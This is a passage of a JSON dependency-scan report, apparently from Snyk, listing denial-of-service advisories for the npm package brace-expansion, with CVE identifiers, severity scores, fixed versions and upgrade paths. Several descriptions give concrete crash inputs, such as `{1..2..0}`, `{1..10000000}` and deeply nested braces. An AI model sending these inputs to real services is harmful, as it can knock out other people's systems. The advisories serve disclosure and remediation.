"2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", 